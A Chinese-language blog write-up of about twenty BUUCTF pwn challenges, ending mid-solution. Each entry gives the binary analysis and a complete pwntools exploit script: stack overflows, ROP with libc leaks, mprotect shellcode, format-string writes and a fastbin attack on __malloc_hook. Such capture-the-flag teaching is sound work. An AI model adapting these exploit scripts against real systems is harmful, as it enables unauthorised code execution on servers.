【CTF.0X00】BUUCTF/BUUOJ-Pwn WP

本文最后更新于:2021年5月11日 凌晨

刷题针不戳(

0x000.绪论

BUUCTF是一个巨型CTF题库,大致可以类比OIer们的洛谷一样的地方,在BUUCTF上有着分类齐全数量庞大的各方向题目,包括各大CTF的原题

正所谓”不刷BUU非CTFer“(哪里有过这种奇怪的话啦),作为一名新晋的蒟蒻CTFer&网安专业选手,咱也来做一做BUUCTF上的题,并把题解在博客上存档一份方便后来者学习(快醒醒,哪里会有人看你的博客啦XD

原本是放在archive站点的,但是想来我又不是以后都不在BUU上做题了,所以就搬到主站来了XD

由于是分时期做的,笔者经历了kali主力→manjaro主力→ubuntu主力的过程,因此可能不同的题的shell的画风会不大一样:)

0x001 ~ 0x010

0x001.test your nc - nc

拖入IDA分析,发现一运行就能直接getshell

image.png

nc,成功getshell,得flag

image.png

0x002.rip - ret2text

惯例的checksec,保护全关

image.png

主函数使用了gets函数,存在栈溢出,偏移量为0xf+8个字节

image.png

可以发现直接存在一个system("/bin/sh"),返回到这里即可getshell

image.png

构造payload如下:

from pwn import *
payload = b'A' * (0xf + 8) + p64(0x40118a)

p = process('./rip')#p = remote('node3.buuoj.cn',26914)
p.sendline(payload)
p.interactive()

输入我们的payload,直接getshell,得到flag

image.png

0x003.warmup_csaw_2016 - ret2text

惯例checksec,保护全关,可以为所欲为

image.png

拖入IDA,发现可以溢出的gets函数,偏移量是0x40+8个字节

image.png

又发现一个可以获得flag的gadgetsystem("cat flag.txt"),控制程序返回到这里即可获得flag

image.png

故构造payload如下:

from pwn import *
payload = b'A'* (0x40 + 8) + p64(0x400611)

p = process('./warm_up_2016')# p = remote('node3.buuoj.cn',28660)
p.sendline(payload)
p.interactive()

输入我们的payload,得到flag

image.png

0x004.pwn1_sctf_2016 - ret2text

惯例的checksec,发现只开了NX保护

image.png

拖入IDA看一下,然后你就会发现C++逆向出来的东西比**还**

image.png

我们不难看出replace函数是在该程序中的一个比较关键的函数,我们先进去简单看看:

image.png

简单通读一下我们大概知道这段代码的运行过程如下:(不就是**🐎有什么读不懂的,干他就完事了

image.png

std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3, std::string *a4)
{
  int v4; // ST04_4
  int v5; // ST04_4
  int v6; // ST10_4
  char v8; // [esp+10h] [ebp-48h]
  char v9; // [esp+14h] [ebp-44h]
  char v10; // [esp+1Bh] [ebp-3Dh]
  int v11; // [esp+1Ch] [ebp-3Ch]
  char v12; // [esp+20h] [ebp-38h]
  int v13; // [esp+24h] [ebp-34h]
  int v14; // [esp+28h] [ebp-30h]
  char v15; // [esp+2Fh] [ebp-29h]
  int v16; // [esp+30h] [ebp-28h]
  int v17; // [esp+34h] [ebp-24h]
  char v18; // [esp+38h] [ebp-20h]
  int v19; // [esp+3Ch] [ebp-1Ch]
  char v20; // [esp+40h] [ebp-18h]
  int v21; // [esp+44h] [ebp-14h]
  char v22; // [esp+48h] [ebp-10h]
  char v23; // [esp+4Ch] [ebp-Ch]
                                                // 接收参数为:v6,input,v9,v7
                                                // 其中input为我们的输入,v9为字符串"I",v7为字符串"you"
                                                // 查汇编源码可知下面的string基本都是a2,也就是input
  while ( std::string::find(a2, a3, 0) != -1 )  // 在input中寻找字符串v9("I"),如果找不到则find方法会返回-1,跳出循环
  {
    std::allocator<char>::allocator(&v10);      // 新构造了一个allocator<char>类的实例并将地址给到v10
    v11 = std::string::find(a2, a3, 0);         // 获得"I"字符串在input中第一次出现的下标
    std::string::begin(&v12);                   // input.begin()新构造一个迭代器对象并将地址给到v12
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v13);// 构建operator+的迭代器对象实例给到v13
    std::string::begin(&v14);                   // input.begin()新构造一个迭代器对象并将地址给到v14
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v9, v14, v13, &v10);// v14迭代生成的字符使用allocator(v10)分配内存、使用operator+(v13)接成新字符串给到v8
                                                // 查看汇编可知生成的字符串长度为v11(即生成的字符串为input中第一个"I"的前面所有字符构成的字符串
    std::allocator<char>::~allocator(&v10, v4); // 析构v10
    std::allocator<char>::allocator(&v15);      // 新构造了一个allocator<char>类的实例并将地址给到v15
    std::string::end(&v16);                     // input.end()新构造一个迭代器对象并将地址给到v16
    v17 = std::string::length(a3);              // 获得"I"的长度给到v17
    v19 = std::string::find(a2, a3, 0);         // 获得"I"字符串在input中第一次出现的下标给到v19
    std::string::begin(&v20);                   // begin()新构造一个迭代器对象并将地址给到v20
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v18);// 构建operator+的迭代器对象实例给到v18
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v21);// 构建operator+的迭代器对象实例给到v21
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v8, v21, v16, &v15);// v16迭代生成的字符使用allocator(v15)分配内存、使用operator+(v21)接成新字符串给到v8
                                                // 注意在这里和前面的相似语句中字符串迭代器与operator所传入的位置是相反的
                                                // 可能是因为迭代器从后往前生成字符串?
    std::allocator<char>::~allocator(&v15, v5); // 析构v15
    std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v23, &v9, a4);// v9+a4生成的字符串给到v23
                                                // 即input中第一个"I"之前的所有字符构成的字符串再加上"you"生成新字符串v23
    std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v22, &v23, &v8);// v23+v8生成的字符串给到v22
                                                // 即v23再加上原input中第一个"I"之后的所有字符构成的字符串生成新字符串v22
    std::string::operator=(a2, &v22, v6);       // v22给回到a2(也就是input
    std::string::~string(&v22);                 // 析构v20
    std::string::~string(&v23);                 // 析构v21
    std::string::~string(&v8);                  // 析构v8
    std::string::~string(&v9);                  // 析构v9
  }
  std::string::string(a1, a2);                  // 拷贝input到a1(vuln中v6)
  return a1;
}

我们可以大概知道replace函数的作用其实是把输入的字符串中的所有字串A替换成字符串B再重新生成新的字符串,而在vuln函数中A即为"I",B即为"you"

重新回到vuln函数,我们发现依然看不懂这段代码到底干了啥

这个时候其实我们可以选择看汇编代码进行辅助阅读(C++逆向出来的东西真的太**了

image.png

简单结合一下汇编代码与逆向出来的C++代码,我们容易知道该段代码的作用,如下图注释所示:

image.png

fgets(&s, 32, edata);                         // 从标准输入流中读入最大32个字符到s
std::string::operator=(&input, &s);           // 将字符串s的值拷贝到string类input中
std::allocator<char>::allocator((int)&v8);    // 新构造了一个allocator<char>类的实例并将地址给到v8
std::string::string((int)&v7, (int)"you", (int)&v8);// string类使用allocrator分配内存复制字符串"you"并拷贝到v7上
std::allocator<char>::allocator((int)&v10);   // 新构造了一个allocator<char>类的实例并将地址给到v10
std::string::string((int)&v9, (int)"I", (int)&v10);// string类使用allocrator分配内存复制字符串"I"并拷贝到v6上
replace((std::string *)&v6, (std::string *)&input, (std::string *)&v9);// 遍历input,生成新string把原input中的'I'替换为'you',并将重新生成后的字符串地址给到v6
std::string::operator=(&input, &v6, v0);      // 拷贝v6回到input中,完成替换
std::string::~string((std::string *)&v6);     // 析构v6
std::string::~string((std::string *)&v9);     // 析构v9
std::allocator<char>::~allocator(&v10, v1);   // 析构v10
std::string::~string((std::string *)&v7);     // 析构v7
std::allocator<char>::~allocator(&v8, v2);    // 析构v8
v3 = (const char *)std::string::c_str((std::string *)&input);// 将input使用string类的c_str函数变成字符串存放在char数组中并将字符串指针赋给v3
strcpy(&s, v3);                               // 将v3拷贝到s上

简单运行一下,我们可以发现程序的确会把输入中的I全部替换成you

image.png

同时我们可以看到,溢出大概需要0x3c个字节,也就是60个字节

image.png

我们可以选择使用20个I作为padding,然后这段padding会被替换成30个you,刚好60个字节,在后面再覆盖掉ebp与返回地址控制程序返回到get_flag函数即可得到flag

故构造exp如下:

from pwn import *
get_flag_addr = 0x8048fd
p = process('./pwn1_sctf_2016')#p = remote('node3.buuoj.cn',27140)
payload = b'I'*20 + p32(0xdeadbeef) + p32(get_flag_addr)
p.sendline(payload)
p.recv()

发送payload,得到flag

image.png

C++逆向是真的kskjklasjdkajskdhasjdgsgdhsgdsajkqpiwourevz

0x005.ciscn_2019_n_1 - overwrite

惯例的checksec,发现只开了NX保护

image.png

拖入IDA进行分析,main中调用了func函数,直接进去看

image.png

当v2为11.28125时我们可以获取flag,而gets函数读入到v1存在溢出点可以覆写掉v2

那么问题来了,浮点数11.28125在内存中是如何表示的呢

我们可以直接跳转到这个数据所储存的地方,发现是0x41348000

image.png

故构造exp如下:

from pwn import *
p = process('ciscn_2019_n_1')#p = remote('node3.buuoj.cn',27338)
payload = b'A'*(0x30-0xc) + p64(0x401348000)
p.sendline(payload)
p.recv()

发送payload,得到flag

image.png

0x006.ciscn_2019_c_1 - ret2csu + ret2libc

惯例的checksec,发现只开了NX保护

image.png

拖入IDA进行分析

encrypt()函数中我们发现使用了gets进行读入,存在溢出点,但是我们可以观察到这个函数会对我们的输入进行处理,常规的payload会被经过程序奇怪的处理,破坏掉我们的数据image.png

不过我们可以发现该函数是使用的strlen()函数来判断输入的长度,遇到'\x00'时会终止,而gets()函数遇到'\x00'并不会截断,因此我们可以将payload开头的padding的第一个字符置为'\x00',这样我们所输入的payload就不会被程序改变

接下来考虑构造rop链getshell,基本上已经是固定套路了,首先用puts()函数泄漏出puts()的真实地址,同时由于题目没有给出libc文件,故接下来我们考虑用LibcSearcher获取libc,然后libc的基址、/bin/shsystem()的地址就都出来了,配合上csu中的gadget即可getshell

故构造exp如下:

from pwn import *
from LibcSearcher import *

e = ELF('./ciscn_2019_c_1')
offset = 0x50
enc_addr = 0x4009a0
pop_rdi = 0x400c83
retn = 0x400c84

payload1 = '\x00' + b'A'*(offset-1) + p64(0xdeafbeef) + p64(retn) + p64(retn) + p64(retn) + p64(retn) + p64(retn) + p64(retn) + p64(pop_rdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(enc_addr)
#p = process("./ciscn_2019_c_1")
p = remote('node3.buuoj.cn',27832)
p.sendline(b'1')
p.recv()
p.sendline(payload1)
p.recvuntil('Ciphertext\n\n')
s = p.recv(6)
puts_addr = u64(s.ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')
payload2 = '\x00' + b'A'*(offset-1) + p64(0xdeadbeef) + p64(retn) + p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload2)
p.interactive()

运行我们的exp,成功getshell

image.png

发生了很多很玄学的问题(👈其实就是李粗心大意罢le),导致这道题虽然早就有了思路,但是用的时间比预期要长的多

以及LibcSearcher在本地无法getshell,换成本地的libc就好了(玄学问题变多了(其实只是LibcSearcher库不全⑧))

以及Ubuntu 18下偶尔会发生栈无法对齐的情况,多retn几次就好了(确信)

0x007.[OGeek2019]babyrop - ret2libc

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析:

image.png

main函数首先会获取一个随机数,传入sub_804871F()

image.png

该函数会将随机数作为字符串输出到s,之后读取最大0x20个字节的输入到v6,用strlen()计算v6长度存到v1并与s比对v1个字节,若不相同则直接退出程序

考虑到strlen()函数以'\x00'字符作为结束标识符,故我们只需要在输入前放上一个'\x00'即可避开这个检测

之后会将v5的数值返回到主函数并作为参数又给到sub_80487D0()函数,简单看一下我们便可以发现该函数读取最大v5个字节的输入到buf中,而buf距离ebp只有0xe7个字节

image.png

由于没有可以直接getshell的函数,故考虑在第一次输入时将v5覆写为0xff以保证能够读取的输入长度最大,在第二次输入时构造rop链使用write函数泄露write的地址,再使用libcsearcher得到libc基址与system()"/bin/sh"字符串的地址,最后构造rop链调用system("/bin/sh")即可getshell

构造exp如下:

from pwn import *
from LibcSearcher import *
e = ELF('./pwn')
write_plt = e.plt['write']
write_got = e.got['write']
payload1 = b'\x00' + 7* b'\xff'
payload2 = b'A' * 0xe7 + p32(0xdeadbeef) + p32(write_plt) + p32(0x80487d0) + p32(0x1) + p32(write_got) + p32(0x8)

p = process('./pwn')#p = remote('node3.buuoj.cn',25330)
p.sendline(payload1)
p.recvuntil(b'Correct\n')
p.sendline(payload2)
write_addr = u32(p.recv(4))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')

payload3 = b'A'*0xe7 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.sendline(payload3)
p.interactive()

运行脚本即可getshell

image.png

0x008.jarvisoj_level0 - ret2text

好多重复考点的简单题啊…

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析,可以发现存在一个可以溢出的函数vulnerable_function(),只需要0x80个字节即可溢出

image.png

同时存在一个可以直接getshell的函数callsystem()

直接构造payload覆写返回地址到callsystem()函数即可getshell

exp如下:

from pwn import *

payload = b'A'*0x80 + p64(0xdeadbeef) + p64(0x400596)

p = process('level0')#p = remote('node3.buuoj.cn',29367)
p.recv()
p.sendline(payload)
p.interactive()

image.png

0x009.ciscn_2019_en_2 - ret2csu + ret2libc

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析感觉这题好像在哪个地方做过的样子ciscn_2019_c_1

encrypt()函数中我们发现使用了gets进行读入,存在溢出点,但是我们可以观察到这个函数会对我们的输入进行处理,常规的payload会被经过程序奇怪的处理,破坏掉我们的数据image.png

不过我们可以发现该函数是使用的strlen()函数来判断输入的长度,遇到'\x00'时会终止,而gets()函数遇到'\x00'并不会截断,因此我们可以将payload开头的padding的第一个字符置为'\x00',这样我们所输入的payload就不会被程序改变

接下来考虑构造rop链getshell,基本上已经是固定套路了,首先用puts()函数泄漏出puts()的真实地址,同时由于题目没有给出libc文件,故接下来我们考虑用LibcSearcher获取libc,然后libc的基址、/bin/shsystem()的地址就都出来了,配合上csu中的gadget即可getshell

构造exp如下:

from pwn import *
from LibcSearcher import *

p = remote('node3.buuoj.cn',25348)#process('./ciscn_2019_en_2')
e = ELF('./ciscn_2019_en_2')

puts_plt = e.plt['puts']
puts_got = e.got['puts']
main_addr = 0x400b28
pop_rdi_ret = 0x400c83
retn = 0x400c84
offset = 0x50

payload1 = b'\x00' + b'A'*(offset-1) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.recv()
p.sendline('1')
p.recv()
p.sendline(payload1)
p.recvuntil('text\n\n')
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = b'\x00' + b'A'*(offset-1) + p64(0xdeadbeef) + p64(retn) +p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)

p.sendline('1')
p.sendline(payload2)
p.interactive()

image.png

需要注意的是Ubuntu 18有的时候会存在栈无法对齐的情况,可以多使用几次retn的gadget来对其栈

0x00A.[第五空间2019 决赛]PWN5 - fmtstr

惯例的checksec,发现开了NX保护和canary

image.png

拖入IDA进行分析:

image.png

该程序获取一个随机数,读入到0x804c044上,随后两次读入用户输入并判断第二次输入与随机数是否相同,相同则可以获得shell

我们可以发现存在格式化字符串漏洞,可以进行任意地址读与任意地址写,故考虑将0x804c044地址上的随机数覆写为我们想要的值,随后直接输入我们覆写的值即可getshell

同时我们简单的跑一下这个程序就可以知道格式字符串是位于栈上的第10个参数(”aaaa” == 0x61616161)

image.png

我们可以使用pwntools中的fmtstr_payload()来比较方便地构造能够进行任意地址写的payload

具体用法可以百度,这里就不再摘抄一遍了

故构造exp如下:

from pwn import *

payload = fmtstr_payload(10,{0x804c044:0x1})

p = process('./pwn')#p = remote('node3.buuoj.cn',25595)
p.sendline(payload)
p.sendline(str(0x1))
p.interactive()

image.png

0x00B.get_started_3dsctf_2016 - ret2text || ret2shellcode

注:这是一道屑题

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析,可以发现存在一个赤裸裸的gets()溢出

image.png

同时存在一个get_flag()函数可以获取flag,不过要求参数1为0x308cd64f,参数2为0x195719d1

image.png

解法1:ret2text

32位程序通过栈传参,故构造exp如下:

from pwn import *

payload = b'A'*0x38 + p32(0x80489A0) + p32(0xdeadbeef) + p32(0x308CD64F) + p32(0x195719D1)

p = process('./get_started_3dsctf_2016')
p.sendline(payload)
p.interactive()

不过很明显,出题人的环境很明显有丶小问题🔨🔨🔨,远程跑不通这个payload

image.png

问题出在哪呢?该程序尝试打开的是flag.txt文件,但是平台所自动生成的是flag文件,故此种方法无法获得flag

我们尝试寻找第二种解法

解法2:ret2shellcode

首先我们发现在程序中编入了大量的函数,其中就包括mprotect(),可以修改指定内存地址的权限

image.png

故考虑使用mprotect()修改内存段权限为可读可写可运行后在上面写入shellcode并跳转至内存段执行shellcode以getshell

pwndbg中使用vmmap查看可以用的内存段,前面三个段随便选一个就行

image.png

需要注意的是我们需要手动将mprotect()的参数弹出(日常踩坑)

from pwn import *

p = process('./get_started_3dsctf_2016')#p = remote('node3.buuoj.cn',29719)#
e = ELF('./get_started_3dsctf_2016')

#context.log_level = 'debug'

pop_ebx_esi_edi_ebp_ret = 0x804951c
mprotect_addr = e.sym['mprotect']
read_addr = e.sym['read']
sc_addr = 0x80ec000
offset = 0x38

payload1 = b'A'*offset + p32(mprotect_addr) + p32(pop_ebx_esi_edi_ebp_ret) + p32(sc_addr) + p32(0x100) + p32(0x7) + p32(0xdeadbeef)  + p32(read_addr) + p32(sc_addr) + p32(0) + p32(sc_addr) + p32(0x100)

payload2 = asm(shellcraft.sh())

p.sendline(payload1)
sleep(1)
p.sendline(payload2)
p.interactive()

运行脚本即可getshell

image.png

0x00C.ciscn_2019_n_8 - overwrite

惯例的checksec,发现开了栈不可执行、地址随机化、Canary三大保护(噔 噔 咚

image.png

拖入IDA进行分析

image.png

使用scanf读入字符串到变量var,存在漏洞,同时程序会将var的地址转换为一个(_QWORD)类型指针(长度为四字节),并判断var[13]是否为0x11,若是则返回一个shell

故考虑直接输入将var[13]覆写为0x11即可getshell

构造exp如下:

from pwn import *

payload = b'A'*13*4 + p32(0x11)

p = process('./ciscn_2019_n_8') # p = remote('node3.buuoj.cn',29901)
p.recv()
p.sendline(payload)
p.interactive()

image.png

0x00D.not_the_same_3dsctf_2016 - ret2shellcode

not the same(指 the same(

惯例的checksec,发现只开了栈不可执行保护

image.png

拖进IDA里康康

image.png

主函数中直接存在可以被利用的gets()函数,同时还给了我们一个提示信息——bora ver se tu ah o bichao memo,大致可以翻译为:Did you see the wrong note?看起来似乎没什么用的样子

尝试先使用与前一题相同的思路来解

首先用pwndbgvmmap查看可以用的内存

image.png

同时IDA中我们发现程序中依然存在mprotect()函数可以改写权限

image.png

和前一题所不同的是gadget的位置有丶小变化(原来只有这个不同🐎

image.png

故我们可以使用与前一题几乎完全相同的exp来getshell,只需要把csu里的gadget的地址稍微修改一下即可

构造exp如下:

from pwn import *

p = process('./not_the_same_3dsctf_2016')#p = remote('node3.buuoj.cn',28147)#
e = ELF('./not_the_same_3dsctf_2016')

#context.log_level = 'debug'

pop_ebx_esi_edi_ebp_ret = 0x80494dc
mprotect_addr = e.sym['mprotect']
read_addr = e.sym['read']
sc_addr = 0x80ea000
offset = 0x2d

payload1 = b'A'*offset + p32(mprotect_addr) + p32(pop_ebx_esi_edi_ebp_ret) + p32(sc_addr) + p32(0x100) + p32(0x7) + p32(0xdeadbeef)  + p32(read_addr) + p32(sc_addr) + p32(0) + p32(sc_addr) + p32(0x100)

payload2 = asm(shellcraft.sh())

p.sendline(payload1)
sleep(1)
p.sendline(payload2)
p.interactive()

运行脚本即得shell

image.png

0x00E.jarvisoj_level2 - ret2text

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

读入最大0x100字节,但是buf到ebp之间只有0x88字节的空间,存在溢出

同时我们也可以知道该程序中有system()函数可以利用

同时程序中还存在"/bin/sh"字符串

image.png

故只需要构造rop链执行system("/bin/sh")即可getshell

构造exp如下:

from pwn import *

p = process('./level2')#p = remote('node3.buuoj.cn',26276)#
e = ELF('./level2')
sh_addr = 0x804A024

payload = b'A'*0x88 + p32(0xdeadbeef) + p32(e.plt['system']) + p32(0xdeadbeef) + p32(sh_addr)

p.sendline(payload)
p.interactive()

运行即可getshell

image.png

0x00F.[HarekazeCTF2019]baby_rop - ret2text + ret2csu

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

使用scanf("%s")读入字符串,存在溢出漏洞

image.png

存在system()函数

image.png

存在/bin/sh字符串

故考虑使用csu中gadget构造rop链执行system("/bin/sh")函数以getshell

image.png

构造exp如下:

from pwn import *

sh_addr = 0x601048
pop_rdi_ret = 0x400683

p = remote('node3.buuoj.cn',27558)
e = ELF('./babyrop')

payload = b'A'*0x10 + p64(0xdeadbeef) + p64(pop_rdi_ret) +  p64(sh_addr) + p64(e.sym['system'])
p.sendline(payload)
p.interactive()

运行即得flag

image.png

好多一样的题啊Or2

0x010.bjdctf_2020_babystack - ret2text

又是一模一样的题。。。

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

主函数中用户可以控制读入的字符数量,存在溢出

同时存在可以getshell的backdoor()函数

image.png

故考虑构造rop链执行backdoor()函数即可

构造exp如下

from pwn import *

payload = b'A'*0x10 + p64(0xdeadbeef) + p64(0x4006e6)

p = remote('node3.buuoj.cn',25806)#p = process('./bjdctf_2020_babystack')
p.sendline(b'100')
p.sendline(payload)
p.interactive()

运行即可getshell

image.png

0x011 ~ 0x020

0x011.babyheap_0ctf_2017 - Heap Overflow + Fastbin Attack + one_gadget

来到BUU后做的第一道堆题

惯例的checksec,发现保 护 全 开心 肺 停 止

image.png

拖入IDA里进行分析(以下部分函数、变量名经过重命名)

常见的堆题基本上都是菜单题,本题也不例外image.png

我们可以发现在writeHeap()函数中并没有对我们输入的长度进行检查,存在堆溢出

image.png

故我们考虑先创建几个小堆块,再创建一个大堆块,free掉两个小堆块进入到fastbin,用堆溢出改写fastbin第一个块的fd指针为我们所申请的大堆块的地址,需要注意的是fastbin会对chunk的size进行检查,故我们还需要先通过堆溢出改写大堆块的size,之后将大堆块分配回来后我们就有两个指针指向同一个堆块

62DB8B2E56B87418664EEB947A980782.png

利用堆溢出将大堆块的size重新改大再free以送入unsorted bin,此时大堆块的fd与bk指针指向main_arena+0x58的位置,利用另外一个指向该大堆块的指针输出fd的内容即可得到main_arena+0x58的地址,就可以算出libc的基址

72934A2F942430E796048F09C96A261F.png

接下来便是fastbin attack:将某个堆块送入fastbin后改写其fd指针为__malloc_hook的地址(__malloc_hook位于main_arena上方0x10字节处),再将该堆块分配回来,此时fastbin中该链表上就会存在一个我们所伪造的位于__malloc_hook上的堆块,申请这个堆块后我们便可以改写malloc_hook上的内容为后门函数地址,最后随便分配一个堆块便可getshell

考虑到题目中并不存在可以直接getshell的后门函数,故考虑使用one_gadget以getshell

D2D612904D8AB28F1DCCE651D4B81508.png

需要注意的是fastbin存在size检查,故在这里我们选择在__malloc_hook - 0x23的位置构造fake chunk(size字段为0x7f刚好能够通过malloc(0x60)的size检查)

构造payload如下:

from pwn import *
p = remote('node3.buuoj.cn',27143)#process('./babyheap_0ctf_2017')#
libc = ELF('./libc-2.23.so')

def alloc(size:int):
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))
    
def fill(index:int,content):
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Size: ')
    p.sendline(str(len(content)))
    p.recvuntil('Content: ')
    p.send(content)
    
def free(index:int):
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    
def dump(index:int):
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Content: \n')
    return p.recvline()
    
alloc(0x10) #idx0
alloc(0x10) #idx1
alloc(0x10) #idx2
alloc(0x10) #idx3
alloc(0x80) #idx4

free(1) #idx1
free(2) #idx2

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
fill(0,payload)

payload = p64(0)*3 + p64(0x21)
fill(3,payload)

alloc(0x10) #idx1, the former idx2
alloc(0x10) #idx2, the former idx4

payload = p64(0)*3 + p64(0x91)
fill(3,payload)
alloc(0x80) #idx5, prevent the top chunk combine it
free(4) #idx2 got into unsorted bin, fd points to the main_arena

main_arena = u64(dump(2)[:8].strip().ljust(8,b'\x00')) - 0x58
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x4526a

alloc(0x60) #idx4
free(4) #idx2 got into fastbin
payload = p64(malloc_hook - 0x23)
fill(2,payload) #overwrite fd to fake chunk addr

alloc(0x60) #idx4
alloc(0x60) #idx6, our fake chunk

payload = b'A'*0x13 + p64(one_gadget)
fill(6,payload)

alloc(0x10)
p.interactive()

运行脚本即可get shell

image.png

fastbin attack中分配到__malloc_hook附近的fake chunk通常都是malloc(0x60),也就是size == 0x71,这是因为在__malloc_hook - 0x23这个地址上fake chunk的SIZE的位置刚好是0x7f,满足了绕过fastbin的size检查的要求

image.png

需要注意的是在libc2.31版本中这个位置上的数据已经不再是0x7f,故我们需要具体问题具体分析,具体版本具体调试

0x012.ciscn_2019_n_5 - ret2shellcode

惯例的checksec,发现近乎保护全关,整挺好

9FIY_KOU2UD64__0RB5U66B.png

拖入IDA进行分析

![41L`5F__UIYNB_H_YE_DEHD.png](https://i.loli.net/2020/10/09/zTYkWulo1hyLKvB.png)

一开始先向bss段上的name读入最大0x64字节的内容,之后再使用gets()读入到text上,存在栈溢出

故考虑先向name上写入shellcode再控制程序跳转至name即可

bss段上name的地址为0x601080

3N50O64P@_TF@5SAT_@__KU.png

构造exp如下:

from pwn import *
context.arch = 'amd64'

bss_addr = 0x601080
payload = b'A'*0x20 + p64(0xdeadbeef) + p64(bss_addr)

p = process('./ciscn_2019_n_5')#remote('node3.buuoj.cn',27296)
p.sendline(asm(shellcraft.sh()))
p.sendline(payload)
p.interactive()

运行,成功getshell

ZGX5RGFHA_NTT96WDXA__4T.png

0x013.level2_x64 - ret2csu

惯例的checksec,发现只开了NX保护

image.png

拖入IDA进行分析

image.png

vulnerable_function()处存在栈溢出,且存在system()函数

image.png

在.data段存在"/bin/sh"字符串

故考虑构造rop链执行system("/bin/sh")即可getshell

构造exp如下:

from pwn import *

sh_addr = 0x600A90
pop_rdi_ret = 0x4006B3
call_sys = 0x400603
payload = b'A'*0x80 + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(sh_addr) + p64(call_sys)

p = process('./level2_x64')#remote('node3.buuoj.cn',26289)
p.sendline(payload)
p.interactive()

运行脚本即得flag

image.png

0x014.ciscn_2019_ne_5 - ret2text

惯例的checksec,发现只开了NX保护

image.png

拖入IDA进行分析

ZX9_6BVAK5A_V_BL__V_I0X.png

看起来长得像堆题但其实完全没有堆的操作,还是传统的栈题

AddLog()函数中读入最大128字节到字符串src

![UXHLHKU0D9MFLEY3MJK_`QT.png](https://i.loli.net/2020/10/09/TREtZOFSvhdqVup.png)

GetFlag()函数中会拷贝srcdest上,存在栈溢出

_@SVK_64XY_UGE02KN_Q6_9.png

同时程序中存在system()函数与sh字符串

image.png

![X0WS9USGGKI`WCZK0_J80_7.png](https://i.loli.net/2020/10/09/a7OuQVLPsSAMd85.png)

故直接溢出控制程序执行system("/bin/sh")即可

构造exp如下:

from pwn import *

sh_addr = 0x80482ea
call_sys = 0x80486b9
payload = b'A'*0x48 + p32(0xdeadbeef) + p32(call_sys)  + p32(sh_addr)

p = process('./ciscn_2019_ne_5')#remote('node3.buuoj.cn',26005)
p.sendline(b'administrator')
p.sendline(b'1')
p.sendline(payload)
p.sendline(b'4')
p.interactive()

运行即可getshell

![L_YGD`OM1C_L_RJ~7__23SD.png](https://i.loli.net/2020/10/09/TUIEloeFPhfsXqC.png)

0x015.ciscn_2019_s_3 - ret2csu || SROP

某位可爱的女师傅的要求先来做这道题(((

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析:
image.png

image.png

可以看到,main()函数会调用vuln()函数,在vuln()函数中会调用两个系统调用——0号系统调用sys_read读入最大0x400个字节到buf上,buf只分配到了0x10个字节的空间,存在栈溢出;随后调用1号系统调用sys_write输出buf上的0x30字节的内容

同时我们还可以观察到有一个没有被用到的gadget()函数,里面有两条gadget将rax设为0xf或0x3b,也就是15或59

image.png

syscall指令从rax寄存器中读取值并调用相对应的系统调用(从程序本身的代码我们也可以看出这一点),对应的我们可以想到的是这个gadget要我们通过相应的系统调用来getshell

在64位Linux下,15号系统调用是rt_sigreturn,而59号系统调用则是我们所熟悉的execve那么这个系统调用该怎么利用呢我暂且蒙在古里

系统调用一览表见这里

考虑到在vuln()函数中只分配了0x10个字节的空间给buf,但是后面的系统调用write会输出0x30个字节的内容,即除了我们的输入之外还会打印一些栈上的内容,其中前0x20个字节的内容分别为:0x10字节的buf、8字节的old_rbp(作为返回地址)、8字节的main函数中的call vuln指令的下一条指令的地址,剩下的0x10个字节则是栈上的一些其他的内容

我们使用gdb进行调试看看是什么内容:

image.png

可以看到0x7ffd56734960上储存的内容即为old_rbp0x7ffd56734968上储存的内容为main函数中的call vuln指令的下一条指令的地址,而0x7ffd56734970上储存的则是一个栈上地址

我们很容易计算得出其与下一次读入时与 buf 间的偏移量为0x7ffd56734a68 - 0x7ffd56734950 = 0x118

image.png

那么我们只需要读取这个值再减去偏移量便可以得到buf的地址

解法1:ret2csu

考虑到存在59号系统调用execve,故考虑构造rop链通过execve("/bin/sh",0,0)以getshell

文件中不存在"/bin/sh"字符串,由于栈基址可知,故考虑手动输入到栈上

